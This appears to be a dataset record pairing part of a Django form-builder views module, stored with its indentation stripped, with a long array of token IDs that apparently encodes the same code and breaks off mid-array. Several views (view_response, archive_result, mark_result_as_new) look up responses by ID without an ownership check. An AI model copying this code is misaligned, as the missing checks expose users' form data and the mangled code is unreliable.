new_responses = form.response_set.filter(archived=False)
context = RequestContext(req)
context['compact_header'] = 'compact-header'
if req_new != '':
return render_to_response(
'form_builder/results.html',
response_dict(form=form,
responses=form.response_set.filter(archived=False),
fields=form.field_set.all(),
new=True,
new_responses=new_responses,
response_count=response_count),
context_instance=context)
else:
return render_to_response(
'form_builder/results.html',
response_dict(form=form,
responses=form.response_set.all(),
fields=form.field_set.all(),
new=False,
new_responses=new_responses,
response_count=response_count),
context_instance=context)
@login_required
def view_response(req, formid, resid):
user_form = get_object_or_404(Form, owner=req.user, slug=formid)
response_form = ResponseForm(
req.POST or None, form=user_form, user=req.user)
result = get_object_or_404(FormResponse, pk=resid)
response_set = result.fieldresponse_set.all()
for field_response in response_set:
field_response.field.label = \
field_response.field.label.replace(user_form.title + ' - ', '')
return render_to_response('form_builder/respond.html',
response_dict(user_form=user_form,
fields=user_form.field_set.all(),
response_form=response_form,
response=result,
response_set=response_set,
viewonly=True),
context_instance=RequestContext(req))
@login_required
def archive_result(req, id):
result = get_object_or_404(FormResponse, pk=id)
if result.archived is False:
result.archived = True
result.save()
if req.META.get('HTTP_REFERER'):
return HttpResponseRedirect(req.META.get('HTTP_REFERER'))
else:
return HttpResponseRedirect(reverse('form_builder:index'))
@login_required
def mark_result_as_new(req, id):
result = get_object_or_404(FormResponse, pk=id)
if result.archived:
result.archived = False
result.save()
if req.META.get('HTTP_REFERER'):
return HttpResponseRedirect(req.META.get('HTTP_REFERER'))
else:
return HttpResponseRedirect(reverse('form_builder:index'))
@login_required
def archive_all(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
for response in form.response_set.filter(archived=False):
response.archived = True
response.save()
if req.META.get('HTTP_REFERER'):
return HttpResponseRedirect(req.META.get('HTTP_REFERER'))
else:
return HttpResponseRedirect(reverse('form_builder:index'))
@login_required
def results_csv(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
req_new = req.GET.get('new', '')
# Create the HttpResponse object with the appropriate CSV header.
http_response = HttpResponse(content_type='text/csv')
http_response['Content-Disposition'] = 'attachment; filename="results.csv"'
writer = csv.writer(http_response)
labels = [normalize(field.label) for field in form.field_set.all()]
labels.insert(0, "Date/Time")
if form.collect_users:
labels.insert(0, "User")
writer.writerow(labels)
if req_new != '':
for response in form.response_set.filter(archived=False):
data = [normalize(field_response.value)
for field_response
in response.fieldresponse_set.all()]
data.insert(0, response.submission_date)
if form.collect_users:
if response.user:
data.insert(0, normalize(response.user.first_name) + ' ' +
normalize(response.user.last_name))
else:
data.insert(0, "anonymous")
writer.writerow(data)
else:
for response in form.response_set.all():
# This assumes a paste operation from an MS Office product
# May want to be more sophisticated about encoding
data = [normalize(field_response.value)
for field_response
in response.fieldresponse_set.all()]
data.insert(0, response.submission_date)
if form.collect_users:
if response.user:
data.insert(0, normalize(response.user.first_name) + ' ' +
normalize(response.user.last_name))
else:
data.insert(0, "anonymous")
writer.writerow(data)
return http_response
@login_required
@require_POST
def delete(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
form.delete()
add_message(req, messages.INFO, "Your form was deleted.")
return HttpResponseRedirect(reverse('form_builder:index'))
@login_required
@require_POST
def duplicate(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
form.duplicate()
add_message(req, messages.INFO, "Your form was duplicated.")
return HttpResponseRedirect(reverse('form_builder:index'))
| [
1,
1053,
11799,
13,
5215,
12865,
13,
5215,
337,
13,
5215,
4390,
13,
5215,
443,
293,
6797,
532,
13,
13,
3166,
9557,
29889,
12759,
7582,
29879,
1053,
4050,
29918,
517,
29918,
5327,
29892,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
13,
3166,
9557,
29889,
6886,
1053,
10729,
2677,
13,
3166,
9557,
29889,
1124,
1053,
9056,
5103,
24735,
29892,
9056,
5103,
13,
3166,
9557,
29889,
3221,
29889,
2271,
9778,
874,
1053,
11837,
13,
3166,
9557,
29889,
21570,
29889,
5150,
29889,
19557,
4097,
1053,
6464,
29918,
12403,
13,
3166,
9557,
29889,
7406,
29889,
19557,
4097,
29889,
1124,
1053,
1996,
29918,
5438,
13,
3166,
9557,
29889,
21570,
1053,
7191,
13,
13,
3166,
7136,
29889,
9794,
1053,
5196,
13,
3166,
7136,
29889,
1333,
8232,
29889,
5269,
1053,
22608,
3401,
13,
3166,
7136,
29889,
1333,
8232,
29889,
9794,
1053,
28578,
13,
13,
3166,
883,
29918,
16409,
29889,
9794,
1053,
3812,
29892,
8989,
29892,
3812,
5103,
29892,
530,
11428,
5103,
13,
3166,
883,
29918,
16409,
29889,
9514,
1053,
3812,
2500,
29892,
8989,
2500,
29892,
8989,
2500,
2697,
29892,
13291,
2500,
13,
13,
29937,
6162,
546,
3168,
13,
13,
13,
1753,
1653,
29918,
20943,
7295,
13,
1678,
17475,
353,
17288,
2671,
29918,
1853,
29892,
8989,
2500,
29898,
2671,
29918,
1853,
29922,
2671,
29918,
1853,
29892,
13,
462,
29871,
10944,
543,
2671,
29918,
842,
29899,
6224,
474,
500,
5038,
876,
13,
462,
363,
313,
2671,
29918,
1853,
29892,
24459,
297,
8989,
29889,
3738,
27286,
29918,
15631,
29925,
2890,
29962,
13,
1678,
736,
17475,
13,
13,
13,
1753,
788,
29918,
4906,
10456,
5085,
29892,
3579,
19290,
1125,
13,
1678,
565,
525,
14057,
29918,
25590,
2705,
29915,
451,
297,
9049,
5085,
29901,
13,
4706,
9049,
5085,
1839,
14057,
29918,
25590,
2705,
2033,
353,
5852,
13,
1678,
736,
7191,
29889,
1202,
29918,
4906,
10456,
5085,
29892,
3579,
19290,
29897,
13,
13,
13,
1753,
2933,
29918,
8977,
29898,
1068,
19290,
1125,
13,
1678,
736,
9657,
3319,
13,
4706,
525,
4925,
29918,
932,
2396,
525,
2500,
5373,
2700,
742,
13,
4706,
525,
932,
29918,
2324,
2396,
11837,
877,
689,
29918,
16409,
29901,
2248,
1495,
1118,
13,
4706,
3579,
19290,
29897,
13,
13,
1753,
4226,
675,
29898,
1807,
1125,
13,
1678,
736,
443,
293,
6797,
532,
29889,
8945,
675,
877,
22498,
29968,
29928,
742,
1347,
467,
12508,
877,
294,
18869,
3788,
17281,
2824,
17010,
580,
13,
13,
29937,
4533,
29879,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
2380,
29898,
7971,
1125,
13,
1678,
7190,
353,
12428,
29889,
1792,
29889,
689,
29918,
842,
29889,
497,
580,
13,
1678,
736,
4050,
29918,
517,
29918,
5327,
877,
689,
29918,
16409,
29914,
2248,
29889,
1420,
742,
13,
462,
795,
2933,
29918,
8977,
29898,
9514,
29922,
9514,
511,
13,
462,
795,
3030,
29918,
8758,
29922,
3089,
2677,
29898,
7971,
876,
13,
13,
13,
1753,
6684,
29918,
517,
29918,
2248,
29918,
272,
29918,
689,
29898,
7971,
29892,
883,
29892,
4235,
29892,
3158,
543,
11600,
29908,
1125,
13,
1678,
565,
4235,
29901,
13,
4706,
788,
29918,
4906,
29898,
7971,
29892,
7191,
29889,
14605,
26925,
29892,
376,
10858,
883,
756,
1063,
376,
718,
3158,
718,
13,
462,
1678,
11393,
1159,
13,
4706,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
2248,
8785,
13,
1678,
1683,
29901,
13,
4706,
788,
29918,
4906,
29898,
7971,
29892,
7191,
29889,
11690,
29892,
376,
10858,
883,
756,
1063,
376,
718,
3158,
718,
11393,
376,
718,
13,
462,
1678,
376,
18743,
4045,
508,
5445,
372,
714,
29892,
366,
817,
304,
1653,
777,
376,
13,
462,
1678,
376,
9621,
23157,
13,
4706,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
5628,
742,
13,
462,
462,
9651,
6389,
11759,
689,
29889,
29517,
12622,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
716,
29898,
7971,
1125,
13,
1678,
883,
29918,
689,
353,
3812,
2500,
29898,
7971,
29889,
5438,
470,
6213,
29897,
13,
1678,
1746,
29918,
689,
29918,
842,
353,
8989,
2500,
2697,
29898,
7971,
29889,
5438,
470,
6213,
29897,
13,
13,
1678,
565,
883,
29918,
689,
29889,
275,
29918,
3084,
580,
322,
1746,
29918,
689,
29918,
842,
29889,
275,
29918,
3084,
7295,
13,
4706,
2888,
29918,
689,
353,
883,
29918,
689,
29889,
7620,
29898,
15060,
29922,
8824,
29897,
13,
4706,
2888,
29918,
689,
29889,
7620,
580,
13,
4706,
2888,
29918,
689,
29889,
20348,
29889,
1202,
29898,
7971,
29889,
1792,
29897,
13,
4706,
2888,
29918,
689,
29889,
7620,
580,
13,
4706,
1746,
29918,
689,
29918,
842,
353,
8989,
2500,
2697,
29898,
7971,
29889,
5438,
29892,
2777,
29922,
6341,
29918,
689,
29897,
13,
4706,
565,
1746,
29918,
689,
29918,
842,
29889,
275,
29918,
3084,
7295,
13,
9651,
4235,
353,
1746,
29918,
689,
29918,
842,
29889,
7620,
580,
13,
4706,
736,
6684,
29918,
517,
29918,
2248,
29918,
272,
29918,
689,
29898,
7971,
29892,
2888,
29918,
689,
29892,
4235,
29897,
13,
13,
1678,
3030,
353,
10729,
2677,
29898,
7971,
29897,
13,
1678,
3030,
3366,
689,
2467,
3108,
353,
376,
1482,
29908,
13,
1678,
3030,
1839,
2388,
627,
29918,
6672,
2033,
353,
525,
2388,
627,
29899,
6672,
29915,
13,
1678,
736,
4050,
29918,
517,
29918,
5327,
29898,
13,
4706,
525,
689,
29918,
16409,
29914,
689,
29889,
1420,
742,
13,
4706,
2933,
29918,
8977,
29898,
689,
29922,
689,
29918,
689,
29892,
13,
462,
418,
4235,
29922,
2671,
29918,
689,
29918,
842,
29892,
13,
462,
418,
883,
29918,
2467,
29922,
24244,
877,
689,
29918,
16409,
29901,
1482,
5477,
13,
462,
418,
17475,
29922,
3258,
29918,
20943,
25739,
13,
462,
418,
3030,
29918,
8758,
29922,
4703,
29897,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
3863,
29898,
7971,
29892,
1178,
1125,
13,
1678,
396,
1120,
359,
1351,
9863,
4607,
29892,
297,
1206,
1554,
5771,
2743,
13,
1678,
396,
29871,
29900,
29922,
2696,
29936,
29871,
29896,
29922,
265,
13,
1678,
671,
29918,
689,
29918,
1300,
359,
1351,
353,
29871,
29900,
13,
13,
1678,
2888,
29918,
689,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
29892,
12271,
29922,
7971,
29889,
1792,
29892,
2243,
688,
29922,
333,
29897,
13,
1678,
883,
29918,
689,
353,
3812,
2500,
29898,
7971,
29889,
5438,
470,
6213,
29892,
2777,
29922,
6341,
29918,
689,
29897,
13,
1678,
1746,
29918,
689,
29918,
842,
353,
8989,
2500,
2697,
29898,
7971,
29889,
5438,
470,
6213,
29892,
2777,
29922,
6341,
29918,
689,
29897,
13,
1678,
3030,
353,
10729,
2677,
29898,
7971,
29897,
13,
1678,
3030,
1839,
2388,
627,
29918,
6672,
2033,
353,
525,
2388,
627,
29899,
6672,
29915,
13,
1678,
3030,
3366,
1509,
29918,
689,
29918,
1300,
359,
1351,
3108,
353,
671,
29918,
689,
29918,
1300,
359,
1351,
13,
1678,
3030,
1839,
6341,
29918,
689,
2033,
353,
2888,
29918,
689,
13,
13,
1678,
565,
883,
29918,
689,
29889,
275,
29918,
3084,
580,
322,
1746,
29918,
689,
29918,
842,
29889,
275,
29918,
3084,
7295,
13,
4706,
2888,
29918,
689,
353,
883,
29918,
689,
29889,
7620,
580,
13,
4706,
565,
12428,
29889,
5438,
1839,
20348,
29918,
303,
431,
2033,
29901,
13,
9651,
2022,
353,
5196,
29889,
12650,
29889,
657,
29898,
303,
431,
29922,
7971,
29889,
5438,
29889,
657,
877,
20348,
29918,
303,
431,
742,
525,
2824,
17010,
3101,
13,
9651,
5321,
370,
29918,
1792,
353,
2022,
29889,
1792,
13,
9651,
2888,
29918,
689,
29889,
20348,
29889,
1202,
29898,
1054,
8205,
29918,
1792,
29897,
13,
4706,
1746,
29918,
689,
29918,
842,
29889,
7620,
580,
13,
13,
4706,
1018,
29901,
13,
9651,
396,
512,
263,
1206,
988,
4856,
2825,
263,
883,
411,
694,
5155,
29892,
13,
9651,
396,
1746,
29918,
2098,
723,
367,
9654,
29889,
910,
723,
3183,
701,
385,
1059,
304,
278,
13,
9651,
396,
1404,
29892,
541,
278,
883,
848,
27401,
304,
278,
2566,
2691,
29889,
382,
6840,
342,
13,
9651,
396,
1650,
338,
925,
304,
11455,
278,
1059,
29936,
278,
23227,
338,
393,
13,
9651,
396,
1556,
4160,
674,
871,
4078,
278,
883,
1156,
4417,
472,
3203,
263,
2846,
13,
9651,
396,
5155,
29889,
13,
9651,
2888,
29918,
689,
29889,
842,
29918,
2671,
29918,
2098,
29898,
7971,
29889,
5438,
1839,
2671,
29918,
2098,
13359,
5451,
29898,
3284,
876,
13,
4706,
5174,
29901,
13,
9651,
1209,
13,
13,
4706,
396,
383,
12054,
26524,
3267,
7520,
29923,
13,
4706,
396,
1275,
4936,
25512,
13,
4706,
396,
17090,
393,
278,
883,
7160,
6284,
29892,
3638,
2933,
848,
1250,
304,
13,
4706,
396,
278,
3132,
29889,
910,
7805,
263,
8600,
6943,
263,
1857,
2346,
842,
13,
4706,
396,
310,
4235,
373,
278,
883,
29889,
13,
4706,
396,
910,
338,
1304,
491,
278,
3132,
304,
1207,
12369,
3620,
304,
1993,
278,
1857,
2106,
310,
13,
4706,
396,
278,
883,
29889,
13,
4706,
565,
313,
1509,
29918,
689,
29918,
1300,
359,
1351,
1275,
29871,
29896,
1125,
13,
9651,
931,
29918,
3707,
353,
12865,
29889,
12673,
29889,
3707,
2141,
710,
615,
603,
877,
29995,
29902,
16664,
29924,
29995,
29886,
1495,
13,
9651,
1746,
29918,
1761,
353,
8989,
29889,
12650,
29889,
4572,
29898,
333,
29922,
6341,
29918,
689,
29889,
333,
29897,
13,
9651,
1746,
29918,
8977,
353,
6571,
13,
9651,
363,
1746,
29918,
8758,
297,
1746,
29918,
1761,
29901,
13,
18884,
1746,
29918,
8977,
29961,
2671,
29918,
8758,
29889,
333,
29962,
353,
1746,
29918,
8758,
29889,
1643,
13,
9651,
5544,
287,
532,
353,
426,
13,
18884,
376,
4906,
1115,
376,
10858,
883,
471,
4784,
472,
376,
13,
462,
965,
718,
337,
29889,
1491,
29898,
29878,
12764,
29909,
29900,
742,
15516,
931,
29918,
3707,
29889,
13609,
3101,
718,
11393,
613,
13,
18884,
376,
689,
9621,
1115,
1746,
29918,
8977,
29892,
13,
9651,
500,
13,
9651,
736,
9056,
5103,
29898,
3126,
29889,
29881,
17204,
29898,
26679,
287,
532,
511,
13,
462,
18884,
2793,
29918,
1853,
543,
6214,
29914,
3126,
1159,
13,
4706,
1683,
29901,
13,
9651,
788,
29918,
4906,
29898,
7971,
29892,
7191,
29889,
14605,
26925,
29892,
376,
10858,
883,
756,
1063,
4784,
23157,
13,
9651,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
2248,
8785,
13,
13,
1678,
25342,
883,
29918,
689,
29889,
12523,
470,
1746,
29918,
689,
29918,
842,
29889,
12523,
29901,
13,
4706,
396,
445,
775,
12234,
24138,
746,
4856,
756,
2715,
263,
883,
1746,
541,
13,
4706,
396,
756,
451,
10423,
297,
263,
3734,
1543,
29892,
1316,
408,
278,
3858,
29936,
372,
5662,
1973,
13,
4706,
396,
393,
278,
775,
18172,
304,
1065,
1728,
13585,
292,
714,
13,
4706,
565,
313,
1509,
29918,
689,
29918,
1300,
359,
1351,
1275,
29871,
29896,
1125,
13,
9651,
1746,
29918,
8977,
353,
6571,
13,
9651,
5544,
287,
532,
353,
426,
13,
18884,
376,
4906,
1115,
376,
15716,
292,
304,
2767,
883,
856,
613,
13,
18884,
376,
689,
9621,
1115,
1746,
29918,
8977,
29892,
13,
9651,
500,
13,
9651,
736,
9056,
5103,
29898,
3126,
29889,
29881,
17204,
29898,
26679,
287,
532,
511,
13,
462,
18884,
2793,
29918,
1853,
543,
6214,
29914,
3126,
1159,
13,
13,
1678,
736,
4050,
29918,
517,
29918,
5327,
29898,
13,
4706,
525,
689,
29918,
16409,
29914,
689,
29889,
1420,
742,
13,
4706,
2933,
29918,
8977,
29898,
689,
29922,
689,
29918,
689,
29892,
13,
462,
418,
4235,
29922,
2671,
29918,
689,
29918,
842,
29892,
13,
462,
418,
883,
29918,
2467,
29922,
24244,
877,
689,
29918,
16409,
29901,
5628,
742,
13,
462,
418,
6389,
11759,
6341,
29918,
689,
29889,
29517,
11724,
13,
462,
418,
17475,
29922,
3258,
29918,
20943,
25739,
13,
462,
418,
3030,
29918,
8758,
29922,
4703,
29897,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
10049,
29898,
7971,
29892,
1178,
1125,
13,
1678,
1404,
29918,
689,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
29892,
2243,
688,
29922,
333,
29897,
13,
1678,
2307,
29918,
3636,
287,
353,
530,
11428,
5103,
29889,
12650,
29889,
3198,
29918,
700,
412,
29898,
1792,
29918,
689,
29889,
333,
29892,
13,
462,
462,
462,
632,
12428,
29889,
1792,
29889,
6786,
29897,
13,
1678,
565,
451,
2307,
29918,
3636,
287,
29901,
13,
13,
4706,
565,
12428,
29889,
7194,
29901,
13,
9651,
363,
1746,
297,
1404,
29918,
689,
29889,
2671,
29918,
842,
29889,
497,
7295,
13,
18884,
565,
12428,
29889,
7194,
29889,
5349,
29918,
1989,
29898,
2671,
29889,
1643,
1125,
13,
462,
1678,
1746,
29889,
4381,
29918,
1767,
353,
12428,
29889,
7194,
29961,
2671,
29889,
1643,
29962,
13,
462,
1678,
1746,
29889,
7620,
580,
13,
13,
4706,
2933,
29918,
689,
353,
13291,
2500,
29898,
13,
9651,
12428,
29889,
5438,
470,
6213,
29892,
883,
29922,
1792,
29918,
689,
29892,
1404,
29922,
7971,
29889,
1792,
29897,
13,
13,
4706,
565,
451,
1404,
29918,
689,
29889,
275,
29918,
15603,
322,
2933,
29918,
689,
29889,
275,
29918,
3084,
7295,
13,
9651,
883,
29918,
5327,
353,
2933,
29918,
689,
29889,
7620,
580,
13,
13,
9651,
396,
842,
12519,
13,
9651,
3611,
353,
14210,
29879,
1273,
29879,
18397,
278,
11860,
29879,
29908,
883,
29915,
1273,
320,
13,
18884,
313,
7971,
29889,
1792,
29889,
4102,
29918,
978,
29892,
12428,
29889,
1792,
29889,
4230,
29918,
978,
29892,
1404,
29918,
689,
29897,
13,
9651,
3142,
353,
5591,
9514,
29914,
9902,
22584,
29879,
12975,
1273,
1404,
29918,
689,
29889,
29517,
13,
13,
9651,
565,
1404,
29918,
689,
29889,
20348,
29889,
9933,
7295,
13,
18884,
565,
1404,
29918,
689,
29889,
15914,
29918,
7193,
29901,
13,
462,
1678,
3611,
353,
14210,
29879,
1273,
29879,
18397,
278,
11860,
29879,
29908,
883,
29915,
1273,
320,
13,
462,
4706,
313,
7971,
29889,
1792,
29889,
4102,
29918,
978,
29892,
12428,
29889,
1792,
29889,
4230,
29918,
978,
29892,
1404,
29918,
689,
29897,
13,
462,
1678,
1426,
29918,
6886,
353,
525,
689,
29918,
3636,
29889,
3945,
29915,
13,
462,
1678,
3472,
29918,
6886,
353,
525,
689,
29918,
3636,
29889,
1420,
29915,
13,
18884,
1683,
29901,
13,
462,
1678,
3611,
353,
525,
9526,
650,
18397,
278,
11860,
29879,
29908,
883,
29915,
1273,
1404,
29918,
689,
13,
462,
1678,
1426,
29918,
6886,
353,
525,
689,
29918,
3636,
29918,
25772,
29889,
3945,
29915,
13,
462,
1678,
3472,
29918,
6886,
353,
525,
689,
29918,
3636,
29918,
25772,
29889,
1420,
29915,
13,
13,
18884,
363,
288,
297,
1404,
29918,
689,
29889,
20348,
29889,
497,
7295,
13,
462,
1678,
565,
288,
2804,
12428,
29889,
1792,
29901,
13,
462,
4706,
4876,
29918,
3888,
353,
22608,
3401,
29898,
13,
462,
9651,
4967,
29922,
3257,
29892,
13,
462,
9651,
1426,
29918,
6886,
2433,
689,
29918,
16409,
29914,
5269,
22584,
29879,
29915,
1273,
1426,
29918,
6886,
29892,
13,
462,
9651,
3472,
29918,
6886,
2433,
689,
29918,
16409,
29914,
5269,
22584,
29879,
29915,
1273,
3472,
29918,
6886,
29892,
13,
462,
9651,
304,
29918,
7328,
29922,
29877,
29889,
5269,
13,
462,
4706,
1723,
13,
462,
4706,
28578,
29889,
842,
29918,
24671,
29898,
7971,
29889,
1792,
29892,
12428,
29889,
1792,
29892,
376,
1491,
29885,
4430,
613,
13,
462,
462,
462,
418,
1404,
29918,
689,
29892,
288,
29892,
13,
462,
462,
462,
418,
3611,
29892,
3142,
29892,
4876,
29918,
3888,
29897,
13,
13,
9651,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
689,
29918,
386,
1331,
742,
13,
462,
462,
18884,
6389,
11759,
689,
29918,
5327,
29889,
20571,
12622,
13,
13,
4706,
736,
4050,
29918,
517,
29918,
5327,
877,
689,
29918,
16409,
29914,
3636,
29889,
1420,
742,
13,
462,
462,
29871,
11117,
1792,
29918,
689,
2396,
1404,
29918,
689,
29892,
13,
462,
462,
259,
525,
5327,
29918,
689,
2396,
2933,
29918,
689,
1118,
13,
462,
462,
29871,
3030,
29918,
8758,
29922,
3089,
2677,
29898,
7971,
876,
13,
1678,
1683,
29901,
13,
4706,
3030,
353,
10729,
2677,
29898,
7971,
29897,
13,
4706,
3030,
1839,
689,
29918,
3257,
2033,
353,
1404,
29918,
689,
29889,
3257,
13,
4706,
736,
4050,
29918,
517,
29918,
5327,
877,
689,
29918,
16409,
29914,
386,
1331,
29889,
1420,
742,
24335,
3030,
29918,
8758,
29922,
4703,
29897,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
883,
29918,
386,
1331,
29898,
7971,
29892,
1178,
29922,
8516,
1125,
13,
1678,
565,
1178,
29901,
13,
4706,
883,
29918,
5327,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
5103,
29892,
282,
29895,
29922,
333,
29897,
13,
4706,
736,
4050,
29918,
517,
29918,
5327,
877,
689,
29918,
16409,
29914,
386,
1331,
29889,
1420,
742,
13,
462,
462,
29871,
11117,
689,
29918,
5327,
2396,
883,
29918,
5327,
29892,
13,
462,
462,
259,
525,
689,
2396,
883,
29918,
5327,
29889,
689,
1118,
13,
462,
462,
29871,
3030,
29918,
8758,
29922,
3089,
2677,
29898,
7971,
876,
13,
1678,
1683,
29901,
13,
4706,
883,
29918,
5327,
353,
6213,
13,
13,
1678,
736,
4050,
29918,
517,
29918,
5327,
877,
689,
29918,
16409,
29914,
386,
1331,
29889,
1420,
742,
24335,
13,
462,
795,
3030,
29918,
8758,
29922,
3089,
2677,
29898,
7971,
876,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
2582,
29898,
7971,
29892,
1178,
1125,
13,
1678,
883,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
29892,
12271,
29922,
7971,
29889,
1792,
29892,
2243,
688,
29922,
333,
29897,
13,
1678,
12428,
29918,
1482,
353,
12428,
29889,
7194,
29889,
657,
877,
1482,
742,
27255,
13,
13,
1678,
2933,
29918,
2798,
353,
883,
29889,
5327,
29918,
842,
29889,
2798,
580,
13,
13,
1678,
716,
29918,
26679,
267,
353,
7700,
13,
1678,
363,
2933,
297,
883,
29889,
5327,
29918,
842,
29889,
4572,
29898,
1279,
2347,
29922,
8824,
1125,
13,
4706,
716,
29918,
26679,
267,
353,
883,
29889,
5327,
29918,
842,
29889,
4572,
29898,
1279,
2347,
29922,
8824,
29897,
13,
13,
1678,
3030,
353,
10729,
2677,
29898,
7971,
29897,
13,
1678,
3030,
1839,
2388,
627,
29918,
6672,
2033,
353,
525,
2388,
627,
29899,
6672,
29915,
13,
13,
1678,
565,
12428,
29918,
1482,
2804,
525,
2396,
13,
4706,
736,
4050,
29918,
517,
29918,
5327,
29898,
13,
9651,
525,
689,
29918,
16409,
29914,
9902,
29889,
1420,
742,
13,
9651,
2933,
29918,
8977,
29898,
689,
29922,
689,
29892,
13,
462,
3986,
20890,
29922,
689,
29889,
5327,
29918,
842,
29889,
4572,
29898,
1279,
2347,
29922,
8824,
511,
13,
462,
3986,
4235,
29922,
689,
29889,
2671,
29918,
842,
29889,
497,
3285,
13,
462,
3986,
716,
29922,
5574,
29892,
13,
462,
3986,
716,
29918,
26679,
267,
29922,
1482,
29918,
26679,
267,
29892,
13,
462,
3986,
2933,
29918,
2798,
29922,
5327,
29918,
2798,
511,
13,
9651,
3030,
29918,
8758,
29922,
4703,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
4050,
29918,
517,
29918,
5327,
29898,
13,
9651,
525,
689,
29918,
16409,
29914,
9902,
29889,
1420,
742,
13,
9651,
2933,
29918,
8977,
29898,
689,
29922,
689,
29892,
13,
462,
3986,
20890,
29922,
689,
29889,
5327,
29918,
842,
29889,
497,
3285,
13,
462,
3986,
4235,
29922,
689,
29889,
2671,
29918,
842,
29889,
497,
3285,
13,
462,
3986,
716,
29922,
8824,
29892,
13,
462,
3986,
716,
29918,
26679,
267,
29922,
1482,
29918,
26679,
267,
29892,
13,
462,
3986,
2933,
29918,
2798,
29922,
5327,
29918,
2798,
511,
13,
9651,
3030,
29918,
8758,
29922,
4703,
29897,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
1776,
29918,
5327,
29898,
7971,
29892,
883,
333,
29892,
10995,
1125,
13,
1678,
1404,
29918,
689,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
29892,
12271,
29922,
7971,
29889,
1792,
29892,
2243,
688,
29922,
689,
333,
29897,
13,
13,
1678,
2933,
29918,
689,
353,
13291,
2500,
29898,
13,
4706,
12428,
29889,
5438,
470,
6213,
29892,
883,
29922,
1792,
29918,
689,
29892,
1404,
29922,
7971,
29889,
1792,
29897,
13,
13,
1678,
1121,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
5103,
29892,
282,
29895,
29922,
690,
333,
29897,
13,
13,
1678,
2933,
29918,
842,
353,
1121,
29889,
2671,
5327,
29918,
842,
29889,
497,
580,
13,
13,
1678,
363,
1746,
29918,
5327,
297,
2933,
29918,
842,
29901,
13,
4706,
1746,
29918,
5327,
29889,
2671,
29889,
1643,
353,
320,
13,
9651,
1746,
29918,
5327,
29889,
2671,
29889,
1643,
29889,
6506,
29898,
1792,
29918,
689,
29889,
3257,
718,
525,
448,
13420,
27255,
13,
13,
1678,
736,
4050,
29918,
517,
29918,
5327,
877,
689,
29918,
16409,
29914,
3636,
29889,
1420,
742,
13,
462,
795,
2933,
29918,
8977,
29898,
1792,
29918,
689,
29922,
1792,
29918,
689,
29892,
13,
462,
462,
9651,
4235,
29922,
1792,
29918,
689,
29889,
2671,
29918,
842,
29889,
497,
3285,
13,
462,
462,
9651,
2933,
29918,
689,
29922,
5327,
29918,
689,
29892,
13,
462,
462,
9651,
2933,
29922,
2914,
29892,
13,
462,
462,
9651,
2933,
29918,
842,
29922,
5327,
29918,
842,
29892,
13,
462,
462,
9651,
1776,
6194,
29922,
5574,
511,
13,
462,
795,
3030,
29918,
8758,
29922,
3089,
2677,
29898,
7971,
876,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
18871,
29918,
2914,
29898,
7971,
29892,
1178,
1125,
13,
1678,
1121,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
5103,
29892,
282,
29895,
29922,
333,
29897,
13,
13,
1678,
565,
1121,
29889,
1279,
2347,
338,
7700,
29901,
13,
4706,
1121,
29889,
1279,
2347,
353,
5852,
13,
4706,
1121,
29889,
7620,
580,
13,
13,
1678,
565,
12428,
29889,
2303,
6040,
29889,
657,
877,
10493,
29918,
25866,
1001,
1001,
29374,
13,
4706,
736,
9056,
5103,
24735,
29898,
7971,
29889,
2303,
6040,
29889,
657,
877,
10493,
29918,
25866,
1001,
1001,
8785,
13,
1678,
1683,
29901,
13,
4706,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
2248,
8785,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
2791,
29918,
2914,
29918,
294,
29918,
1482,
29898,
7971,
29892,
1178,
1125,
13,
1678,
1121,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
5103,
29892,
282,
29895,
29922,
333,
29897,
13,
13,
1678,
565,
1121,
29889,
1279,
2347,
29901,
13,
4706,
1121,
29889,
1279,
2347,
353,
7700,
13,
4706,
1121,
29889,
7620,
580,
13,
13,
1678,
565,
12428,
29889,
2303,
6040,
29889,
657,
877,
10493,
29918,
25866,
1001,
1001,
29374,
13,
4706,
736,
9056,
5103,
24735,
29898,
7971,
29889,
2303,
6040,
29889,
657,
877,
10493,
29918,
25866,
1001,
1001,
8785,
13,
1678,
1683,
29901,
13,
4706,
736,
9056,
5103,
24735,
29898,
24244,
877,
689,
29918,
16409,
29901,
2248,
8785,
13,
13,
13,
29992,
7507,
29918,
12403,
13,
1753,
18871,
29918,
497,
29898,
7971,
29892,
1178,
1125,
13,
1678,
883,
353,
679,
29918,
3318,
29918,
272,
29918,
29946,
29900,
29946,
29898,
2500,
29892,
12271,
29922,
7971,
29889,
1792,
29892,
2243,
688,
29922,
333,
29897,
13,
13,
1678,
363,
2933,
297,
883,
29889,
5327,
29918,
842,
29889,
4572,
29898,
1279,
2347,
29922,
8824,
1125,
13,
4706,
2933,
29889,
1279,
2347,
353,
5852,
13,
4706,
